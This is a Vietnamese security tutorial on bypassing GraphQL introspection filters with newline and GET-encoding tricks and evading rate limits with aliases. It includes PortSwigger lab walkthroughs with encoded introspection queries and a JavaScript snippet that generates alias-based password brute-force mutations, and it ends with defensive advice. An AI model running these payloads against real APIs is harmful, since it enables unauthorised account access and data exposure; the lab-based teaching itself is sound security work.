GraphQL - Hiểu để hack (Phần 3)
I. Tổng quan
Ở 2 phần trước chúng ta đã tìm hiểu về cấu trúc, cách thức hoạt động và một số lỗ hổng bảo mật thường gặp trong các ứng dụng sử dụng graphql api. Ở phần 2, chúng ta cũng đã tìm hiểu một số phương pháp tiếp cận và khai thác lỗ hổng của ứng dụng grapql api:
- Finding GraphQL endpoints: Tìm kiếm thông tin api endpoints
- Exploiting unsanitized arguments: Khai thác lỗ hổng không validate input
- Discovering schema information: Khai thác thông qua thông tin schema
Ở phần 3 này, chúng ta sẽ tiếp cận theo hướng để vượt qua một số cơ chế bảo vệ ứng dụng grapql api để tiến hành khai thác lỗ hổng nhằm lấy thông tin nhạy cảm.
II. Bypassing GraphQL introspection defences
Nếu khi truy cập vào ứng dụng chạy grapql, nếu chúng ta không thể chạy các truy vấn introspection cho các API endpoints đang thực hiện kiểm thử, chúng ta có thể chèn một vài ký tự đặc biệt sau từ khóa schema.
Khi ứng dụng tắt introspection, nó có thể sử dụng một biểu thức chính quy (regex) để loại bỏ các từ khóa schema trong truy vấn gửi lên từ phía user để nhằm hạn chế nguy cơ lộ thông tin các schema. Lúc này, chúng ta có thể sử dụng một số ký tự đặc biệt như: khoảng trắng (space : ), dòng mới (new line : \n), dấu phẩy (commas : ,)... để kiểm tra xem ứng dụng xe có thể vượt qua các regex và truy cập tới ứng dụng graphql không.
Giả sử, nếu nhà phát triển chỉ kiểm tra và ngăng chặn các truy vấn có chứa từ khóa schema{, thì truy vấn introspection dưới đây sẽ có thể bypass:
# Truy vấn introspection với ký tự \n
{
"query": "query{__schema
{queryType{name}}}"
}
Nếu sử dụng phương pháp trên không thành công, có thể thực hiện thay đổi HTTP request. Có thể intro chỉ kiểm tra và ngăn chặn các request POST. Chúng ta có thể thực hiện thay đổi sang GET hoặc thay đổi sang POST với content-type
là x-www-form-urlencoded
.
Một ví dụ kiểm tra introspection được gửi thông qua GET, với các tham số được mã hóa trên URL.
# Đợt kiểm tra introspection bằng HTTP GET request
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
Lưu ý Nếu một enpoints chỉ chấp nhận các truy vấn introspection thông qua GET và chúng ta muốn phân tích kết quả của truy vấn bằng cách sử dụng InQL Scanner thì cần lưu kết quả truy vấn vào một file sau đó load vào InQL để phân tích
III. Bypassing rate limiting using aliases
Như chúng ta đã biết, đối tượng GrapQL không thể chứa nhiều thuộc tính với tên giống nhau. Thường thì, trong GraphQL, các đối tượng không thể chứa nhiều thuộc tính có cùng tên. Các aliases cho phép chúng ta bypass cơ chế giới hạn này bằng cách chỉ định tên cho các thuộc tính mà bạn muốn API trả về. Ở đây chúng ta có thể sử dụng nhiều alias để trả về nhiều nhiều dữ liệu của cùng loại đối tượng trong một yêu cầu HTTP.
(Nguồn: https://portswigger.net/)
Ví dụ để trả về dữ liệu cho 2 product sử dụng getProduct chúng ta không thể sử dụng như sau:
#Invalid query
query getProductDetails {
getProduct(id: 1) {
id
name
}
getProduct(id: 2) {
id
name
}
}
Mà thay vào đó, để trả về dữ liệu của 2 product khác nhau thông qua getProduct với 2 alias khác nhau:
#Valid query using aliases
query getProductDetails {
product1: getProduct(id: "1") {
id
name
}
product2: getProduct(id: "2") {
id
name
}
}
Mặc dù alias được thiết kế để giới hạn số lần gọi API mà bạn cần thực hiện, nhưng chúng cũng có thể được sử dụng để thực hiện tấn công brute force vào một endpoints GraphQL.
Nhiều endpoints sẽ giới hạn số request HTTP được gọi tới để ngăn chặn các cuộc tấn công brute force. Nhưng với cách sử dụng alias này, chúng ta có thể chỉ cần gửi 1 request HTTP nhưng có thể lấy được nhiều dữ liệu như ở ví dụ nêu trên.
Demo khai thác lỗ hổng
Lab1: Finding a hidden GraphQL endpoint
Link bài lab: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
Bài lab yêu cầu tìm đến enpoints ẩn để xóa user carlos và hoàn thành bài lab
Bước 1: Truy cập tới bài lab , khi truy cập thử endpoint /api, kết quả trả về: "Query not present"
Bước 2: Thử với endpoint GET /api?query=query{__typename} HTTP/2
Kết quả có trả về dữ liệu
Bước 3: Tiếp tục gửi request để kiểm tra introspection
GET /api?query=query+IntrospectionQuery+%7B%0D%0A++__schema+%7B%0D%0A++++queryType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++mutationType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++subscriptionType+%7B%0D%0A++++++name%0D%0A++++%7D%0D%0A++++types+%7B%0D%0A++++++...FullType%0D%0A++++%7D%0D%0A++++directives+%7B%0D%0A++++++name%0D%0A++++++description%0D%0A++++++args+%7B%0D%0A++++++++...InputValue%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+FullType+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++description%0D%0A++fields%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++args+%7B%0D%0A++++++...InputValue%0D%0A++++%7D%0D%0A++++type+%7B%0D%0A++++++...TypeRef%0D%0A++++%7D%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++inputFields+%7B%0D%0A++++...InputValue%0D%0A++%7D%0D%0A++interfaces+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++enumValues%28includeDeprecated%3A+true%29+%7B%0D%0A++++name%0D%0A++++description%0D%0A++++isDeprecated%0D%0A++++deprecationReason%0D%0A++%7D%0D%0A++possibleTypes+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0Afragment+InputValue+on+__InputValue+%7B%0D%0A++name%0D%0A++description%0D%0A++type+%7B%0D%0A++++...TypeRef%0D%0A++%7D%0D%0A++defaultValue%0D%0A%7D%0D%0A%0D%0Afragment+TypeRef+on+__Type+%7B%0D%0A++kind%0D%0A++name%0D%0A++ofType+%7B%0D%0A++++kind%0D%0A++++name%0D%0A++++ofType+%7B%0D%0A++++++kind%0D%0A++++++name%0D%0A++++++ofType+%7B%0D%0A++++++++kind%0D%0A++++++++name%0D%0A++++++%7D%0D%0A++++%7D%0D%0A++%7D%0D%0A%7D%0D%0A HTTP/2
Kết quả : "GraphQL introspection is not allowed"
Bước 4: Sử dụng kỹ thuật bypass ở trên, thêm ký tự new line %0a
vào sau __schema
và gửi request. Kết quả có thể lấy được dữ liệu
Bước 5: Lưu response thành file json sau đó load file vào INQL Scanner chúng ta sẽ thấy endpoint: getUser
và DeleteOrganizationUserInput
Bước 6: Tìm đến enpoint getUser
và gửi request với id=3 (Query mặc định là id: 1334) : GET /api?query=query%20%7B%0A%09getUser(id%3A3)%20%7B%0A%09%09id%0A%09%09username%0A%09%7D%0A%7D HTTP/2
Bước 7: Gọi đến endpoint deleteOrganizationUser
và resolve bài lab
Lab2: Bypassing GraphQL brute force protections
Link bài lab: https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
Bài lab yêu cầu bypass cơ chế ngăn chặn brute force để log in vào tài khoản carlos
Bước 1: Login với tài khoản carlos và mật khẩu bất kì và bắt request: Request log in:
POST /graphql/v1 HTTP/2
Host: 0a93000e03d6e4c28029da8200c00068.web-security-academy.net
Cookie: session=YDEaNiNwmJJf9zpGnULduCLQcPhohypt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://0a93000e03d6e4c28029da8200c00068.web-security-academy.net/login
Content-Type: application/json
Content-Length: 233
Origin: https://0a93000e03d6e4c28029da8200c00068.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"carlos","password":"123456"}}}
Bước 2: Sử dụng extension InQL để sửa đổi request để tạo mutaion với nhiều alias
Raw request:
Bước 3: Sử dụng code javascript để tạo ra nhiều alias khác nhau với list mật khẩu sử dụng tại https://portswigger.net/web-security/authentication/auth-lab-passwords. Vào dev tool của trình duyệt (F12) và chạy trong console
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");
Bước 4: Đưa vào payload vào InQL để gửi request và xem kết quả:
Raw request:
Bước 5: Đăng nhập với thông tin thành công ở bruteforce83 (password: "biteme", username: "carlos"
)
Đăng nhập thành công, resolved bài lab
Tổng kết
Mặc dù ứng dụng có thể triển khai một số biện pháp để chống lại các hình thức tấn công nhằm dò tìm các endpoints ẩn hoặc ngăn chặn việc user gửi một lượng request lớn để tấn công brute force, nhưng chúng ta có thể lợi dụng một số tính năng của graphql nhưu: sử dụng các ký tự đặc biệt: new line (%0A or %0D or %0D%0A
), space ($20
), comma(%2C
) hoặc sử dụng alias để vượt qua các cơ chế bảo vệ này. Qua bài viết, hi vọng bạn đọc và lập trình viên có thể hiểu thêm một số cách thức tấn công vào ứng dụng graphql để từ đó có biện pháp phòng chống phù hợp. Một số biện pháp có thể áp dụng
1. Đối với introspection
- Nên disable introspection trên môi trường production để hạn chế việc lộ những thông tin nhạy cảm về hệ thống api (endpoint, query, mutation...)
- Nếu cần sử dụng introspection thì cần lưu ý review lại toàn bộ API's schema để đảm bảo không để lộ ra những trường thông tin nhạy cảm, không cần thiết.
- Đảm bảo suggestions (gợi ý query đúng) được disabled để hạn chế nguy cơ việc kẻ tấn công có thể tìm được endpoint
- Đảm bảo rằng API's schema không để lộ bất kỳ thông tin nhạy cảm hay bí mật nào (Ví dụ: password, email, code, pin...).
2. Ngăn chặn brute force
- Ngăn chặn sâu hơn trong API's queries. Thuật ngữ "độ sâu truy vấn" đề cập đến số cấp độ lồng nhau trong một truy vấn. Chúng ta không chỉ giới hạn đơn thuần số lượng request gửi tới mà cần phải kiểm tra các truy vấn lồng nhau sâu có thể có tác động đáng kể đến hiệu suất và có thể tạo cơ hội cho cuộc tấn công DoS nếu chúng được chấp nhận.
- Cấu hình giới hạn các operation. Giới hạn hoạt động cho phép bạn cấu hình số lượng tối đa các trường fields, aliases, root fields)mà API của bạn có thể chấp nhận.
- Cấu hình số byte tối đa một truy vấn có thể chứa.
- Xem xét việc triển khai phân tích chi phí trên API của bạn. Nếu một truy vấn quá phức tạp về tính toán để chạy hoặc quá tốn tài nguyên thì API sẽ loại bỏ nó.
All rights reserved